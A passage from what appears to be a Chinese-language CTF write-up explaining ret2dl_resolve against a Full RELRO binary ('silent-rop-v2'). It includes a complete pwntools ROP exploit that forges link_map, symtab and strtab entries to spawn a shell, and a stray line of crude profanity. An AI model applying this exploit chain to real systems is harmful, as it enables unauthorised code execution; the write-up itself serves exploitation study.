5. 透過``DT_PLTGOT``中指向``libc.so.6``的 GOT 表的指針,訪問``GOT[2]``,就是``_dl_runtime_resolve_xsave``。
取得``link_map``跟``_dl_runtime_resolve_xsave``之後,就可以重新進行函式位址的尋找,回到 Partial RELRO 的狀況。不過,現在手上有程式``link_map``的位址,而前面有提到,``link_map``是儲存在動態連結器的可寫段內,意即可以修改``link_map``中``strtab``、``symtab``跟``jmprel``的指針,改為指向自己偽造的結構體,最後帶著這個被改過的``link_map``進入``_dl_runtime_resolve_xsave``,也可以達成利用。
### Demo 0x3 -> 隱藏魔王 silent-rop-v2
這題同樣來自 CyberSpace'24,不過跟 ez-rop 不一樣的是這個開了 Full RELRO||這場 CTF 的出題者感覺很愛 ret2dl_resolve||。

一樣東西不多。

這題有給 Dockerfile,靶機作業系統是 Ubuntu 20.04,是``libc.so.6``只有 Partial RELRO 的版本之一。

看一下安全機制開了多少:

有漏洞的輸入出現在``vuln``中,提供了大量的溢位空間。

而這支程式可以使用的 Gadget 有這些:


順帶一提,這支程式有個function``gift``,~~送了不少幸福~~,造了一些 Gadget。
主要會用到的 Gadgets 如下:
```
0x00000000004011e5 : mov QWORD PTR [rdi] , rdx ; ret
0x0000000000401293 : pop rdi ; ret
0x00000000004011e2 : pop rdx ; ret
0x00000000004011e9 : mov rdi , QWORD PTR [rdx] ; ret
0x00000000004011ed : mov QWORD PTR [rdx+rsi] , rdi ; ret
0x0000000000401291 : pop rsi , r15 ; ret
0x00000000004011f2 : mov rdx , rdi ; ret
0x00000000004011f6 : add rdi , rdx ; ret
0x00000000004011e5 : mov QWORD PTR [rdi] , rdx ; ret
0x00000000004011fa : mov QWORD PTR [rsp+rdx] , rdi ; ret
```
利用思路如下:
利用第一次的輸入構造一個 ROP Chain,先做 padding,並在``saved rbp``填入一個可寫段的地址。
```
payload = b"a" * 16 # padding
payload += p64(0x404300 + 0x10) # saved rbp
```
接著把``rdx``設定成``0x403e98``(這裡有``r_debug``的指針),將``rdx``裡儲存的位址指向的值給到``rdi``,``rdi``就會獲得``r_debug``的位址。
```
payload += p64(pop_rdx) + p64(0x403e98) # link_map pointer
payload += p64(mov_rdi_qp_rdx) # now rdi has r_debug
```
接著``rdi += 8``,讓``rdi``位址指向``link_map``的指針,接著``mov rdx , rdi``、``mov rdi , QWORD PTR [rdx]``,``rdi``此時取得``link_map``位址,最後一條 payload 是把``link_map``的位址存到``0x404288``。
```
payload += p64(pop_rdx) + p64(8)
payload += p64(add_rdi_rdx) # now rdi has r_debug+8
payload += p64(mov_rdx_rdi) # now rdx has r_debug+8
payload += p64(mov_rdi_qp_rdx) # now rdi has linkmap
payload += p64(pop_rdx) + p64(0x404288) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(mov_qp_rdx_plus_rsi_rdi) # save to 0x404288
```
``rdi + 0x18``讓位址到``l_next``,``mov rdx , rdi``、``mov rdi , QWORD PTR [rdx]``,這樣``rdi``位址就變成下一張``link_map``了,實測之後發現``libc.so.6``的``link_map``在第三張,所以這個動作要做兩次。
```
# go to l_next
for i in range(2):
payload += p64(pop_rdx) + p64(0x18)
payload += p64(add_rdi_rdx) # now rdi has l->l_next address
payload += p64(mov_rdx_rdi)
payload += p64(mov_rdi_qp_rdx) # now rdi has next linkmap
```
``rdi + 0x58``讓``rdi``指到存在``link_map``中的``DT_PLTGOT``指針,接著一樣``mov rdi , rdx``、``mov rdi QWORD PTR [rdx]``讓``rdi``進到``libc.so.6``的``.dynamic``段``DT_PLTGOT``項目,再讓``rdi + 0x8``指到指向 GOT 表的指針,``mov rdx , rdi``、``mov rdi , QWORD PTR [rdx]``之後,``rdi``就會有GOT的位址。
```
payload += p64(pop_rdx) + p64(0x58)
payload += p64(add_rdi_rdx)
payload += p64(mov_rdx_rdi)
payload += p64(mov_rdi_qp_rdx) # now rdi has libc.so's DT_PLTGOT
payload += p64(pop_rdx) + p64(0x8)
payload += p64(add_rdi_rdx)
payload += p64(mov_rdx_rdi)
payload += p64(mov_rdi_qp_rdx) # now rdi has libc.so's GOT
```
``rdi + 0x10``,``rdi``此時指向``GOT[2]``,接著還是一樣的``mov rdx , rdi``、``mov rdi , QWORD PTR [rdx]``,此時``rdi``獲取``_dl_runtime_resolve_xsave``位址,最後一條 payload 把``rdi``之值(``_dl_runtime_resolve_xsave``位址)存入``0x404280``位置。
```
payload += p64(pop_rdx) + p64(0x10)
payload += p64(add_rdi_rdx)
payload += p64(mov_rdx_rdi)
payload += p64(mov_rdi_qp_rdx) # now rdi has !!_dl_runtime_resolve_xsave!!
payload += p64(pop_rdx) + p64(0x404280) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(mov_qp_rdx_plus_rsi_rdi) # save to 0x404280
```
做到這邊,``0x404280``有``_dl_runtime_resolve_xsave``指針,``0x404288``有程式本身的``link_map``的指針。
這段就是執行``read(0, 0x404300, 0x100000)``觸發第二次輸入,把所有要偽造的東西都寫入可寫段上。
```
read = 0x401070
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(0x404300) + p64(0) + p64(pop_rdx) + p64(0x100000) + p64(read)
```
第二次輸入時就把所有要偽造的東西都寫到可寫段上。
```
# FAKE EVERYTHING HERE
payload = p64(0) + p64(fakebase + 0x10) # pointer to .rel.plt [ 0x404300
payload += p64(0x404900) # r_offset (指向一個可寫地址就可以)
payload += p64(7) # r_info
payload += p64(0) # r_addend
payload += p64(0) + p64(fakebase + 0x38) # pointer to symtab [ 0x404328
payload += p32(0) # st_name
payload += b"\x12" # st_info
payload += b"\x00" # st_other
payload += b"\x00\x00" # st_shndx
payload += p64(0) # st_value
payload += p64(0) # st_size
payload += p64(0) + p64(fakebase + 0x60) # pointer to strtab [ 0x404350
payload += b"execve\x00/bin/sh\x00"
```
接著回到第一次輸入的 ROP Chain,在這一步修改``link_map``內容,把裡面的``DT_STRTAB``、``DT_SYMTAB``及``DT_JMPREL``指針全部改成指向自己偽造的結構體。首先``rdx``設定``0x404288``,接著``mov rdi , QWORD PTR [rdx]``,``rdi``取得``link_map``地址。``rdi + 0x68``到``l_info[DT_STRTAB]``,``rdx``設為自己偽造的``.dynamic DT_STRTAB``位址,``mov QWORD PTR [rdi] , rdx``覆寫``l_info[DT_STRTAB]``,而下面覆寫``l_info[DT_SYMTAB]``及``l_info[DT_JMPREL]``也是一樣的操作手法。
```
# edit linkmap
# strtab
fakebase = 0x404300
payload += p64(pop_rdx) + p64(0x404288)
payload += p64(mov_rdi_qp_rdx) # rdi has linkmap now
payload += p64(pop_rdx) + p64(0x68)
payload += p64(add_rdi_rdx)
payload += p64(pop_rdx) + p64(fakebase + 0x50)
payload += p64(mov_qp_rdi_rdx)
# symtab
payload += p64(pop_rdx) + p64(0x8)
payload += p64(add_rdi_rdx)
payload += p64(pop_rdx) + p64(fakebase + 0x28)
payload += p64(mov_qp_rdi_rdx)
# jmprel
payload += p64(pop_rdx) + p64(0xf8 - 0x70)
payload += p64(add_rdi_rdx)
payload += p64(pop_rdx) + p64(fakebase)
payload += p64(mov_qp_rdi_rdx)
```
最後把儲存在``0x404280``的``_dl_runtime_resolve_xsave``位址跟``0x404288``的``link_map``位址提出來寫到 stack 上,跟 ROP Chain 融為一體,後面設定暫存器,``rdi``指向``/bin/sh``字串,``rsi``跟``rdx``皆設``0``,最後跳轉``_dl_runtime_resolve_xsave``完成利用。
```
# set register and get shell now!
payload += p64(pop_rdx) + p64(0x404280)
payload += p64(mov_rdi_qp_rdx) # rdi has _dl_runtime_resolve_now
payload += p64(pop_rdx) + p64(0x68)
payload += p64(mov_qp_rsp_plus_rdx_rdi)
payload += p64(pop_rdx) + p64(0x404288)
payload += p64(mov_rdi_qp_rdx) # rdi has linkmap now
payload += p64(pop_rdx) + p64(0x40)
payload += p64(mov_qp_rsp_plus_rdx_rdi)
payload += p64(pop_rdi) + p64(binsh)
payload += p64(pop_rsi_r15) + p64(0) + p64(0) + p64(pop_rdx) + p64(0)
payload += p64(0) # space for _dl_runtime_resolve_xsave
payload += p64(0) # space for linkmap
payload += p64(0) # reloc_arg
```
Exploit:
```python=
from pwn import *
# r = remote("silent-rop-v2.challs.csc.tf", 1337)
r = process("./chal")
# gadgets
mov_qp_rdi_rdx = 0x00000000004011e5
pop_rdi = 0x0000000000401293
pop_rdx = 0x00000000004011e2
mov_rdi_qp_rdx = 0x00000000004011e9
mov_qp_rdx_plus_rsi_rdi = 0x00000000004011ed
pop_rsi_r15 = 0x0000000000401291
mov_rdx_rdi = 0x00000000004011f2
add_rdi_rdx = 0x00000000004011f6
mov_qp_rdi_rdx = 0x00000000004011e5
mov_qp_rsp_plus_rdx_rdi = 0x00000000004011fa
# payload 01
payload = b"a" * 16 # padding
payload += p64(0x404300 + 0x10) # saved rbp
payload += p64(pop_rdx) + p64(0x403e98) # link_map pointer
payload += p64(mov_rdi_qp_rdx) # now rdi has r_debug
# go linkmap
payload += p64(pop_rdx) + p64(8)
payload += p64(add_rdi_rdx) # now rdi has r_debug+8
payload += p64(mov_rdx_rdi) # now rdx has r_debug+8
payload += p64(mov_rdi_qp_rdx) # now rdi has linkmap
payload += p64(pop_rdx) + p64(0x404288) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(mov_qp_rdx_plus_rsi_rdi) # save to 0x404288
# go to l_next
for i in range(2):
payload += p64(pop_rdx) + p64(0x18)
payload += p64(add_rdi_rdx) # now rdi has l->l_next address
payload += p64(mov_rdx_rdi)
payload += p64(mov_rdi_qp_rdx) # now rdi has next linkmap
# GOT
payload += p64(pop_rdx) + p64(0x58)
payload += p64(add_rdi_rdx)
payload += p64(mov_rdx_rdi)
payload += p64(mov_rdi_qp_rdx) # now rdi has libc.so's DT_PLTGOT
payload += p64(pop_rdx) + p64(0x8)
payload += p64(add_rdi_rdx)
payload += p64(mov_rdx_rdi)
payload += p64(mov_rdi_qp_rdx) # now rdi has libc.so's GOT
# dl_resolve
payload += p64(pop_rdx) + p64(0x10)
payload += p64(add_rdi_rdx)
payload += p64(mov_rdx_rdi)
payload += p64(mov_rdi_qp_rdx) # now rdi has !!_dl_runtime_resolve_xsave!!
payload += p64(pop_rdx) + p64(0x404280) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(mov_qp_rdx_plus_rsi_rdi) # save to 0x404280
# now
# 0x404280 -> pointer to _dl_runtime_resolve_xsave
# 0x404288 -> pointer to linkmap
# and then... fake EVERYTHING!!
read = 0x401070
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi_r15) + p64(0x404300) + p64(0) + p64(pop_rdx) + p64(0x100000) + p64(read)
binsh = 0x404367 # ok we got "/bin/sh"
# edit linkmap
# strtab
fakebase = 0x404300
payload += p64(pop_rdx) + p64(0x404288)
payload += p64(mov_rdi_qp_rdx) # rdi has linkmap now
payload += p64(pop_rdx) + p64(0x68)
payload += p64(add_rdi_rdx)
payload += p64(pop_rdx) + p64(fakebase + 0x50)
payload += p64(mov_qp_rdi_rdx)
# symtab
payload += p64(pop_rdx) + p64(0x8)
payload += p64(add_rdi_rdx)
payload += p64(pop_rdx) + p64(fakebase + 0x28)
payload += p64(mov_qp_rdi_rdx)
# jmprel
payload += p64(pop_rdx) + p64(0xf8 - 0x70)
payload += p64(add_rdi_rdx)
payload += p64(pop_rdx) + p64(fakebase)
payload += p64(mov_qp_rdi_rdx)
# set register and get shell now!
payload += p64(pop_rdx) + p64(0x404280)
payload += p64(mov_rdi_qp_rdx) # rdi has _dl_runtime_resolve_now
payload += p64(pop_rdx) + p64(0x68)
payload += p64(mov_qp_rsp_plus_rdx_rdi)
payload += p64(pop_rdx) + p64(0x404288)
payload += p64(mov_rdi_qp_rdx) # rdi has linkmap now
payload += p64(pop_rdx) + p64(0x40)
payload += p64(mov_qp_rsp_plus_rdx_rdi)
payload += p64(pop_rdi) + p64(binsh)
payload += p64(pop_rsi_r15) + p64(0) + p64(0) + p64(pop_rdx) + p64(0)
payload += p64(0) # space for _dl_runtime_resolve_xsave
payload += p64(0) # space for linkmap
payload += p64(0) # reloc_arg
# raw_input()
r.sendline(payload)
# FAKE EVERYTHING HERE
payload = p64(0) + p64(fakebase + 0x10) # pointer to .rel.plt [ 0x404300
payload += p64(0x404900) # r_offset
payload += p64(7) # r_info
payload += p64(0) # r_addend
payload += p64(0) + p64(fakebase + 0x38) # pointer to symtab [ 0x404328
payload += p32(0) # st_name
payload += b"\x12" # st_info
payload += b"\x00" # st_other
payload += b"\x00\x00" # st_shndx
payload += p64(0) # st_value
payload += p64(0) # st_size
payload += p64(0) + p64(fakebase + 0x60) # pointer to strtab [ 0x404350
payload += b"execve\x00/bin/sh\x00"
# raw_input()
r.sendline(payload)
r.interactive()
```
## 所以好像不用這麼麻煩
幹你娘三小拉

## Reference
1. https://sp4n9x.github.io/2020/08/15/ret2_dl_runtime_resolve%E8%AF%A6%E8%A7%A3
2. https://www.testzero-wz.com/2022/03/05/Ret2dlresolve%E2%80%94%E2%80%94%E4%BB%8ENo-RELRO%E5%88%B0FULL-RELRO
3. https://media.defcon.org/DEF%20CON%2023/DEF%20CON%2023%20presentations/DEF%20CON%2023%20-%20Alessandro-Di-Federico-Leakless-How-The-ELF-ruined-Christmas.pdf